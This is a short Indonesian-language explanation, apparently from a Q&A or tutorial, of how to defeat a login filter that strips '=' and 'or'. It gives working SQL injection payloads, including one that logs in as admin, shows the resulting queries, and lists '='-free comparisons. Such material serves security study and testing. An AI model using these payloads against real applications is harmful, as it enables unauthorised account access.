Dengan asumsi definisi lvl2_filter
ini
, yang pada dasarnya menghapus kemunculan =
dan or
sampai tidak ditemukan lagi, masih mungkin untuk menggunakan operasi logika ATAU
dengan ||
bukannya OR
dan ekspresi sederhana yang bernilai true seperti:
username: dummy
password: ' || '1
Hal ini akan mengakibatkan:
SELECT user_id FROM users WHERE username='dummy' and password='' || '1'
Untuk memilih pengguna tertentu, seseorang dapat menggunakan aturan aljabar boolean
, di mana x=y
=!(x!=y)
:
username: dummy
password: ' || NOT(username<>'admin') AND '1
Hal ini akan mengakibatkan:
SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'
Disini <>
setara dengan !=
tetapi tidak mengandung =
.
Ada juga operasi lain yang dapat digunakan untuk memastikan nama pengguna sama dengan admin
:
username BETWEEN 'admin' AND 'admin'
username LIKE 'admin'
username IN ('admin')
IF(STRCMP(username,'admin'), 0, 1)
CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END
- …